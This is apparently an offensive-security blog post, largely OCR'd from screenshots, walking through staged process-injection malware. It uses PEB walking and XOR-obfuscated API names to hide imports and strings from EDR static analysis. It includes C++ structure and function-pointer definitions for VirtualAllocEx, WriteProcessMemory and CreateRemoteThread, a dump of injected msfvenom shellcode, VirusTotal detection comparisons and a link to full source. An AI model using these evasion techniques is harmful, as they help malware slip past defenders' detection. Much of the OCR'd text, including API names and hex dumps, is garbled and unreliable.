Call via 3000 3004 3008 300C 3010 3014 3018 3012 3020 3024 3028	Name WaterSingleObject OpenProcess ClaseHandle HDebuggerPresent InitialiseSListHead GetSyntemTimeASFieTme GetCurrentTimeadld GetCurrentTimeadld GetCurrentTimeadld GetCurrentTimeadld HDebuggerEadle HDeb	Ordinal Origin 37E0 - 37F6 - 3804 - 3304 - 3304 - 3304 - 3304 - 3862 - 3862 - 3862 - 3862	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C28 3C28 3C28 3BC8 3BF8 3BF8 3BF2 3BC2 3BC2 3BC8 3BAC	Forwarde - - - - - - - - - - - - - - - - - - -	r Hint 5FF 428 94 39D 381 203 231 22D 46D 3A5 5B4			
Call via 3000 3004 3008 300C 3010 3014 3018 301C 3020 3024 3028 302C	Name WaaForSingleObject OpenProcess CloseHandle IbdebuggerVesent InitialisSListHead GetCurrenThreadid GetCurrenThreadid GetCurrenThreadid DiveoSofGetardVersent TerminsteProcess GetCurrenThreess GetCurrenThreess	Ordinal Origin 37E0 33E4 33C8 33C8 33C8 33C8 33C8 33C8 33F8 33F8	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C28 3C28 3BC8 3BF2 3BF2 3BF2 3BF2 3BF2 3BF2 3BF2 3BF2	Forwarde - - - - - - - - - - - - - - -	r Hint 5FF 428 94 39D 381 231 22D 46D 3A5 584 22C			
Call via 3000 3004 3008 300C 3010 3010 3018 3018 301C 3020 3024 3028 3022 3028 3022	Name Waharisriage(Object OpenProcess ClaseHandle HDebuggerPresent InitializeSListekat InitializeSListekat Get_UnrentThreadid Get_UnrentThreadid Get_UnrentThreadid Get_UnrentThreadid Get_UnrentThreadid Get_UnrentThreadid Get_UnrentThreadid Burgeress Get_UnrentProcess Get_UnrentProcess SetUnhandleSceptionFilter	Ordinal Origin 37E0 33E0 33F6 3304 33E2 33C28 35C28 35	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C28 3BC8 3BE8 3BE2 3BE2 3BE2 3BE4 3898 3884 3866	Forwarde - - - - - - - - - - - - -	r Hint 5FF 428 94 390 381 303 231 220 460 3A5 584 22C 594			
Call via 3000 3004 3008 3000 3010 3010 3010 3018 3010 3020 3022 3022 3022 3022 3022 3022	Name WaaForSingleObject UppmProcess CloseHandle LibebuggerVesent InstalleSListHead GetCurrentThreadid GetCurrentThreadid GetCurrentThreadid DurpsGetFormanceCounter IbProcessof GetUrrentProcess GetCurrentProcess SetUnhandledExceptionFilter UnhandledExceptionFilter	Ordinal Origin 37E0 33E4 33C8 33C8 33C8 33C8 33C8 33C8 33C8 33C	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C28 3CC8 3BF8 3BF8 3BF2 3BC8 3BF8 3BF2 3BC4 3B98 3B84 3B66 3B84 3B66 3B84	Forwarde	r Hint 5FF 428 94 39D 381 231 22D 46D 3A5 584 22C 594 505			

CFF Explorer Results

Great, in this stage, we improve our IAT, and this time, we can see there is no malicious import, which can give indicators for malicious behaviour. We see there is no GetProcAddress and LoadLibraryA functions this time. This is a good sign for a malware developer because this can bypass static analysis of EDRs solutions.

		£1 £1 ₽ ₽ ₽ ₽	
DS Header	8	0 1 2 3 4 5 6 7 8 9 A B C D E F	0123456789ABCDEF
tub	1600	E0 37 00 00 F6 37 00 00 04 38 00 00 3E 3C 00 00	A 7 0 7 B
leaders	1610	28 3C 00 00 0E 3C 00 00 F8 3B 00 00 E2 3B 00 00	1
Signature	1620	C0 3B 00 00 AC 3B 00 00 50 3B 00 00 84 3B 00 00	
File Header	1630	66 3B 00 00 4A 3B 00 00 52 3C 00 00 00 00 00 00 00	f
Optional Header	1640	54 38 00 00 36 38 00 00 5E 38 00 00 20 38 00 00	T868*88
ction Headers	1650	00 00 00 02 3A 00 00 00 00 00 EC 39 00 00	
5	1660	00 00 00 00 E4 38 00 00 00 00 00 BE 39 00 00	
text	1670	9C 39 00 00 8E 39 00 00 78 39 00 00 3E 3A 00 00	
= FP - C49	1680	B4 39 00 00 5A 3A 00 00 68 3A 00 00 78 3A 00 00	1921h1×1
rdata	1690	70 39 00 00 62 39 00 00 56 39 00 00 AA 39 00 00	p 9 b 9 V 9 * 9
date	16A0	34 39 00 00 D4 38 00 00 C2 38 00 00 12 39 00 00	49Ô8Å89
Jata	16B0	22 3A 00 00 F8 38 00 00 00 00 00 80 39 00 00	· · · · · · · · · · · · · · · · · · ·
ISIC	1600	9C 38 00 00 8A 38 00 00 12 3A 00 00 00 00 00 00 00	
reloc	16D0	B6 38 00 00 00 00 00 78 1B 40 00 00 00 00 00	1 0 0
	16E0	00 00 00 00 B4 16 40 00 00 00 00 00 00 00 00 00 00	and a first of the gradient of the second
	16F0	01 16 40 00 AC 16 40 00 00 00 00 00 00 00 00 00 00	8 . . . 8
	1700	00 00 00 00 00 00 00 00 00 00 00 00 00	and a second
	1710	10 40 40 00 60 40 40 00 68 65 72 68 65 60 33 32	. 88. h 88. k e z n e 1 3 2
	1720	2E 64 6C 6C 00 00 00 00 50 49 44 20 3D 20 25 64	. d 1 1 P I D . = . % d
	1730	20 0k 00 00 47 65 74 50 72 6F 63 41 64 64 72 65	GetProcAddre
	1740	73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41	ssLoadLibraryA
	1750	00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63	VirtualAlloc
	1760	45 78 00 00 57 72 69 74 65 50 72 6F 63 65 73 73	Ex., WriteProcess
	1770	4D 65 6D 6F 72 79 00 00 43 72 65 61 74 65 52 65	Hemory CreateRe
	1780	ED EF 74 E5 54 E8 72 E5 E1 E4 00 00 00 00 00 00	noteThread
	1790	C0 00 00 00 00 00 00 00 00 00 00 00 00 0	λ
	17A0	00 00 00 00 00 00 00 00 00 00 00 00 00	· · · · · · · · · · · · · · · · · · ·
	1780	00 00 00 00 00 00 00 00 00 00 00 00 00	a second a second se
	1700	00 00 00 00 00 00 00 00 00 00 00 00 00	
	17D0	C0 32 40 00 01 00 00 D8 30 40 00 00 00 00 00 00	A 2 8 0 0 8
	17E0	00 00 00 00 00 00 00 00 01 00 00 00 00 0	なわたわれる たいかか たたためがた
	17F0	00 00 00 00 00 00 00 00 00 00 00 00 00	

Malicious String

Oops, we see there are still some strings in this stage under **.rdata** section of PE file. These strings are a great indicator of the behaviour of binary. Malware can still be detected in static analysis by EDRs. We overcame one issue, which was IAT imports indication, but this issue could be addressed in our coming stage.

Execution

In each stage, we execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use the dynamic resolution of Windows APIs by PEB walk to inject shellcode.

A Home	Name	Date modified	Туре	Size					
Callen/	E PEB_WALK_INJECTION.exe	7/24/2024 11:24 AM	Application	14 KB					
Curry Curry	PEB_WALK_INJECTION.pdb	7/24/2024 11:24 AM	Program Debug D	676 KB					
 OneDrive - Personal 									
C:\Windows\System32	\cmd.e × + ~				_	19 <u>4</u>		×	
					🖬 Calc	ulator		- 0	×
C:\Users\DARKN3T\s	ource\repos\PEB_WALK_INJECTI	ON\Release>PEB_WALK	_INJECTION.exe		= Dr	aramr	nor		
Process ID = 47226					= PR	grann	ner		
C:\Users\DARKN3T\s	ource\repos\PEB_WALK_INJECTI	ON\Release>							
									0
	Task Explorer.exe (47228)	(0x8c0000 - 0x8c1000)	9	- 🗆 X	DEC 0				
					OCT 0				
	00000000 fc e8 82 00 0 00000010 52 0c 8b 52 1	0 00 60 89 e5 31 c0 64 8b 4 8b 72 28 0f b7 4a 26 31	50 30 8b	1.d.P0.	BIN 0				
	00000020 61 7c 02 2c 2	0 cl cf 0d 01 c7 e2 f2 52	57 8b 52 al.,	RW.R	Unit C				
	00000030 10 8b 4a 3c 8	b 4c 11 78 e3 48 01 d1 51	8b 59 20J<.L.x.	HQ.Y	<u></u>		QWORD	MS	М×
	00000040 01 d3 85 49 1 00000050 c1 cf 0d 01 c	5 e3 3a 49 5D 34 5D 01 d6 7 38 e0 75 f6 03 7d f8 3b	7d 24 758.u.	.).;)¢u	12 100				
	00000060 e4 58 8b 58 2	4 01 d3 66 8b 0c 4b 8b 58	lc 01 d3 .X.X\$f.	.ĸ.x	D> Bitwise	· ~ ~ ~~	Bit shift ∨		
	00000000 e0 5f 5f 5a 3	0 89 44 24 24 55 55 61 59 5 12 eb 8d 5d 6a 01 8d 85	b2 00 00 . Z	1	۵	~	>>	C	(3)
	00000090 00 50 68 31 8	b 6f 87 ff d5 bb e0 1d 2a	0a 68 a6 .Phl.o	*.h.	18				
	000000a0 95 bd 9d ff d 000000b0 13 72 6f 6a 0	5 3c 06 7c 0a 80 fb e0 75 0 53 ff d5 63 61 6c 63 2e	65 78 65 .roj.S	alc.exe	В	()	%	÷
	000000c0 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00			7		0	~
	000000d0 00 00 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 0 00 00 00	00 00 00		C	1	8	9	×
	000000±0 00 00 00 00 00	0 00 00 00 00 00 00 00 00	00 00 00		D	4	5	6	
	00000100 00 00 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 0 00 00 00	00 00 00						
	00000120 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00		E	1	2	3	+
	00000130 00 00 00 00 00 00 00 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00 0 00 00 00	00 00 00			+/	0		_
	00000150 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00		F	7-	0		_
	00000160 00 00 00 00 00 00	0 00 00 00 00 00 00 00 00 00 00 00 00 0	00 00 00	•••••					
	00000180 00 00 00 00 00 0	0 00 00 00 00 00 00 00 00 00	00 00 00						
	00000190 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00					_	
	000001a0 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00						
	000001b0 00 00 00 00 0	0 00 00 00 00 00 00 00 00	00 00 00						
			00 00 00						
	0000100 00 00 00 0	0 00 00 00 00 00 00 00							
	Re-read Write	Go to 16 hytes per row	Save	Class					

Stage 3 Execution

Stage 4 (PEB Walk and API Imports Obfuscation, Strings Hide)

In stage 4, we use the same technique to inject a malicious shellcode into the process. But this is the final stage, so we have to overcome all the challenges we faced in the previous stage. We need to hide malicious strings and dynamically resolve APIs.

PEB_WALK_INJECTIC	N.cpp + ×			2 222222222222222222222222
PEB_WALK_INJECT	TION		 (Global Scope) 	 GetProcAddressKernel32(HMODULE hModule, LPCSTR lpProcName)
1 #0	define _CRT_SE	URE_NO_WARNINGS		
2 📮 単	include <windo< td=""><td>is.h></td><td></td><td></td></windo<>	is.h>		
3 🕡 🗰	include <stdio< td=""><td></td><td></td><td></td></stdio<>			
4				
5				
	ypedef struct .	UNICODE_STRING {USHORT Length;US	SHORT MaximumLength;PWSTR Buffer;} UNICOD	E_STRING, * PUNICODE_STRING;
8 Ģ S	ypedef struct	LDR_DATA_TABLE_ENTRY {		
	LIST_ENTRY	nLoadOrderLinks;		
	LIST_ENTRY	nMemoryOrderLinks;		
	LIST_ENTRY	inInitializationOrderLinks;		
	PVOID	llBase;		
	PVOID	ntryPoint;		
	ULONG	izeOfImage;		
	UNICODE_STR	NG FullDilName;		
	UNICODE_STR	NG BaseDllName;		
	ULONG	lags;		
	USHORT	oadCount;		
	USHORT	lsIndex;		
	LIST_ENTRY	lashLinks;		
	PV010	ectionPointer;		
	ULUNG	heck5um;		
	ULONG	imeDateStamp;		
	PVOID	oaded1mports;		
	PVOID	ntryPointActivationContext;		
26	PVOID TAR	atchinformation;		
27 13	LUK_DATA_TABL	_ENTRY, * PLOK_DATA_TABLE_ENTRY		
28			TAN T-141-14-14 HANDLE C-U-11-11-1 TET EN	THE THE REPORT OF THE STATE OF
29	peder struct .	PEB_COR_DATA TOCONS CONSCIONS	EAN INICIACIZED, HANDLE SSHANDLE, LIST_EA	AT Incladurgerhouterist; Listerikt inneworycherhouterist; Listerikt initiatization
30 5	peder struct	HTNADT+ CETODOCADDDECE)(UNODULE	DOCETO); CONCEAN READIMAGEFILEEXECUPTIONS; C	AVLEAN beingbebugged; BUULEAN Sparebool; HANDLE Hutant; PVULD ImagebaseAddress; PPEb_LUK_
31 9	peder PARPAOL	WINAPI GETPROCHODRESS (INCODE)	(Decsire)	
22	Included I DVOTD	WINADIA VACATURA (HANDLE BROOM	are IDVOTD InAddress ST75 T deSize DWO	20 FlAllocationTure DMORD FlPretect):
20	upadat ROOI (WT	ADT - MONTHON (HANDLE APPOC	LOVOID JoBacoAddrass, SIZE_I dwSiZE, Dwo	TTE T Size SIZE TA INNER OFFICE CLA
	upadof HANDLEO	INADIA (PITUNO) (HANDLE hProcess	LOSCUPTTY ATTOTRUTES InThroadAttribut	size, size, size, size, w chamberorby cesariccen j,
	Abarrent HHUDEE (THE PLACE CHARTER PLACESS	craccontributiones cpinreauxceriouce	sister dustacksize, connected and inter the test arcaduress, covere the analytic dustacksize, connected and dustre

PEB Structures

In this stage, first, we must define all the structures needed to perform a PEB walk, same as **stage 3**. You can find these structures on Microsoft documentation.

PEB (winternl.h)—Win32 apps

Contains process information.learn.microsoft.com

We define all the needed structures, and we define function pointer types for the Windows API functions we need.



XORing

In this stage, we use xor encryption to obfuscate the API calls and hide the strings to bypass static analysis. This function will use the key "**offensivepanda**" and decrypt all API calls at runtime, which are encrypted and stored inside the code.



Decrypt and Inject

You can see in this code snippet that we decrypt the APIs' calls and pass it to function, which is resolving the address of API calls dynamically, All the API calls are encrypted.

IAT Inspection

In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let's inspect our final stage compiled binary with these tools and see if we have overcome all the issues or not.

	Name	Func. Count	Bound?	(OriginalFirstThun	TimeDateStamp	Forwarder	NameRV	A
1C54	KERNEL32.dll	15	FALSE		3708	0	0	3812	
1C68	VCRUNTIME140.dll	4	FALSE		3748	0	0	3878	
1C7C	api-ms-win-crt-stdio-I1-1-0.dll	4	FALSE		37C4	0	0	3A84	
1C90	api-ms-win-crt-string-I1-1-0.dll	1	FALSE		37D8	0	0	3AA4	
1CA4	api-ms-win-crt-runtime-I1-1-0.dll	19	FALSE		3774	0	0	3AC6	
1C88	api-ms-win-crt-math-I1-1-0.dll	1	FALSE		376C	0	0	3AE8	
1CCC	api-ms-win-crt-locale-I1-1-0.dll	1	FALSE		3764	0	0	3808	
1CE0	api-ms-win-crt-heap-I1-1-0.dll	1	FALSE		375C	0	0	382A	3
Cellecia	dil [15 entries]	0.4.1	and The set	Theorem			_		
Call Via	Name	Urdinal Urig	inal Inunk	Inunk	Forwarde	er Hint			
\$000	WaitForSingleObject	- 3/E0		37E0		DFF			
3004	OpenProcess	- 37F6		37F6	-	42B			
3008	CloseHandle	- 3804		3804		94			
300C	IsDebuggerPresent	- 3C3E		3C3E		39D			
3010	InitializeSListHead	- 3028		3C28		381			
3014	GetSystemTimeAsFileTime	- 3006		3COE	-	303			
2224	GetCurrentThreadId	- 38F8		38F8		231			
5018	GetCurrentProcessId	- 38E2		38E2		22D			
3018 301C									
3018 301C 3020	QueryPerformanceCounter	- 3808		3BC8	-	46D			
3018 301C 3020 3024	QueryPerformanceCounter IsProcessorFeaturePresent	- 38C8 - 38A0	1	3BC8 3BAC	-	46D 3A5			
3018 301C 3020 3024 3028	QueryPerformanceCounter IsProcessorFeaturePresent TerminateProcess	- 38C8 - 38A0 - 3898	1	38C8 38AC 3898	-	46D 3A5 584			
301C 3020 3024 3028 302C	QueryPerformanceCounter IsProcessorFeaturePresent TerminateProcess GetCurrentProcess	- 3800 - 3840 - 3890 - 3894		3BC8 3BAC 3898 3884	-	46D 3A5 584 22C			
3010 3020 3024 3028 302C 3030	QueryPerformanceCounter IsProcessorFeaturePresent TerminateProcess GetCurrentProcess SetUnhandledExceptionFilter	- 3800 - 3840 - 3898 - 3884 - 3866		3BC8 3BAC 3B98 3B84 3B66	-	46D 3A5 5B4 22C 594			
3010 3020 3024 3028 302C 3030 3034	QueryPerformanceCounter IsProcessorFeaturePresent TerminateProcess GetCurrentProcess SetUnhandIedExceptionFilter UnhandIedExceptionFilter	- 3800 - 3840 - 3899 - 3884 - 3866 - 3866		38C8 38AC 3898 3884 3866 384A	-	46D 3A5 584 22C 594 5D5			
3018 301C 3020 3024 3028 302C 3030 3034 3038	QueryPerformanceCounter IsProcessorFeaturePresent TerminateProcess GetCurrentProcess SetUnhandledExceptionFilter UnhandledExceptionFilter GetModuleHandleW	- 38C6 - 38A4 - 3899 - 3864 - 3864 - 3864 - 3864 - 3844		3BC8 3BAC 3B98 3B84 3B66 3B4A 3C52	-	46D 3A5 584 22C 594 5D5 28F			

CFF Explore Results

Great, in this stage, we improve our IAT, and this time, we can see there is no malicious import, which can give indicators for malicious behaviour. We see there is no GetProcAddress and LoadLibraryA functions this time.



Strings Stage Final

Great, there is no malicious string this time because we obfuscate all API calls in our code, and we don't have any string and API import, which indicates the behaviour of malware in static analysis.

Execution

In each stage, we execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we

use dynamic resolution of Windows APIs by PEB walk and obfuscate API call to inject shellcode.



Stage 4 Execution

Detection Results

We removed the msfvenom shellcode from the code and uploaded the first and last stage malware on virustotal to see the detection results. We remove shellcode because the msfvenom generated shellcode is highly detectable, so we want to see the effectiveness of other techniques we used in this post. We know virustotal check the behaviour as well, but let's see the results.

Q. a47b8e121d3effc7307ab5478b97adf95b8335ffdc3c0ecced0bfafb7de833765										
	24 1/74 SinPLE ≥ Community Score © 24/7 satisfiest SinPLE peex	74 security vendors flagged this file as malicious 21d3effc7307ab5478b97adf95b8335ffdc3c0eced0bfafb7de833765 JNJECTION.exe checks-user-input lefe detect-debug-environment		C Reanalyze ≈ Similar ∨ More ∨ Size Last Analysis Date 9.50 KB 5 minutes ago EXE						
	DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY									
	Jein our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks,									
		and the second								
	Popular threat label U trojan.cab	ar inreatcategories trojan		Family labels babar						
	Security vendors' analysis ()			Do you want to automate checks?						
	AhnLab-V3		ALYac	Gen:Variant.Babar.137643						
	AhnLab-V3 Arcabit		ALYac BitDefender	Gen:Variant.Babar.137643 Gen:Variant.Babar.137643						
	AhnLab-V3 Arcabit Bkav Pro	Trojan, Win. Meterpreter. C5307301 Trojan. Babar. D219AB W32. AlDetectMalware	ALYac BitDefender CrowdStrike Falcon	Gen:Variant.Babar.137643 Gen:Variant.Babar.137643 Win/malicious_confidence_100% (D)						
	AhnLab-V3 Arcabit Bkav Pro Cybereason	Trojan, Win, Meterpreter, C5307901 Trojan, Babar, D219AB W32, AlDetectMalware Malicious, Ske0cd	ALYac BitDefender CrowdStrike Falcon Cynet	Gen:Variant.Babar.137643 Gen:Variant.Babar.137643 Win/malicious_confidence_100% (0) Malicious (score: 100)						
	AhnLab-V3 Arcabit Bkav Pro Cybereason DeepInstinct	Trojan,Win.Meterpreter.C5307901 Trojan.Babar.D219A8 W32_AIDetectMalware Malicious.88e0cd MALICIDUS	ALYac BitDefender CrowdStrike Falcon Cynet Elastic	Gen:Variant.Babar.137643 Gen:Variant.Babar.137643 Win/malicious_confidence_100% (D) Malicious (score: 100) Malicious (score: 100) Malicious (moderate Confidence)						
	AhnLab-V3 Arcabit Bkav Pro Cybereason DeepInstinct Emsisoft	Trojan,Win.Meterpreter.C5307301 Trojan,Babar.D213A8 W32.AlDetectMalware Malicious.86e0cd MALICIOUS Gen:Variant.Babar.137643 (B)	ALYoc BitDefender CrowdStrike Falcon Cynet Elastic eScan	Gen:Variant.Babar.137643 Gen:Variant.Babar.137643 Win/malicious_confidence_100% (D) Malicious (score: 100) Malicious (moderate Confidence) Gen:Variant.Babar.137643						
	AhnLab-V3 Arcabit Bkav Pro Cybereason DeepInstinct Emsisoft GData	Trojan, Win, Meterpreter, C5307901 Trojan, Babar, D219AB W32, AlDetectMaliware Malicious: 86e0cd MALICIOUS Gen:Variant, Babar, 137643 (B) Gen:Variant, Babar, 137643	ALYoc BitDefender CrowdStrike Falcon Cynet Elastic eScan Google	ConvVariant.Babar.137643 Gen.Variant.Babar.137643 Win/malicious_confidence_100% (0) Malicious (score: 100) Malicious (score: 100) Malicious (moderate Confidence) Gen.Variant.Babar.137643 Detected						
	AhnLab-V3 Arcabit Bkav Pro Cybereason DeepInstinct Emsisoft GData Ikarus	Trojan, Win, Meterpreter, C5307903 Trojan, Babar, D219AB W32, AllOetectMalware Malicious, Ske0cd Malicious, Ske0cd MALICIOUS Gen:Variant, Babar, 137643 (B) Gen:Variant, Babar, 137643 Trojan, Win32, Shellcoderumner	ALYac BitDefender CrowdStrike Falcon Cynet Elastic escan Google Jiangmin	Cen:Variant.Babar.137643 Gen:Variant.Babar.137643 Win/malicious_confidence_100% (D) Malicious (score: 100) Malicious (score: 100) Malicious (moderate Cenfidence) Gen:Variant.Babar.137643 Detected Trojan.Cometer.chk						

Stage 1 Results (Simple Injection)

9. ab08dfb88af8dbe745e0c3fe66777b9e7a4056515430cb89597d47dbbc6ad722a								
© Community © Score DETECTION DET	Image: Street							
Join our Community a	Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.							
Security vendors' analy	sis ()	Do you want to automate checks?						
Bkav Pro		CrowdStrike Falcon	Win/maticious_confidence_60% (D)					
DeepInstinct		MaxSecure	Trojan.Malware.300983.susgen					
SecureAge		Acronis (Static ML)	O Undetected					
AhnLab-V3	⊘ Undetected	Alibaba	O Undetected					
AliCloud	⊘ Undetected	ALYac						
Antiy-AVL	O Undetected	Arcabit						
Avast	O Undetected	AVG	O Undetected					
Avira (no cloud)	⊘ Undetected	Baidu	O Undetected					
BitDefender	O Undetected	BitDefenderTheta	O Undetected					
ClamAV	O Undetected	СМС	O Undetected					

Final Stage Result (PEB walk and Xor)

Note

These techniques help to bypass static analysis of EDRs solution and help to make malware harder in static analysis so analysts can't simply understand the behaviour of malware by

looking into IAT and strings. But binary can still be detected in dynamic and behaviour-based analysis. Because dynamic bypass was not the scope of this post, but you can see our previous blogs, which mainly focused on dynamic behaviour bypass.

Full Code

GitHub - Offensive-Panda/PEB_WALK_AND_API_OBFUSCATION_INJECTION

References:

https://offensive-panda.github.io/DefenseEvasionTechniques

https://medium.com/@merasor07/peb-walk-avoid-api-calls-inspection-in-iat-byanalyst-and-bypass-static-detection-of-1a2ef9bd4c94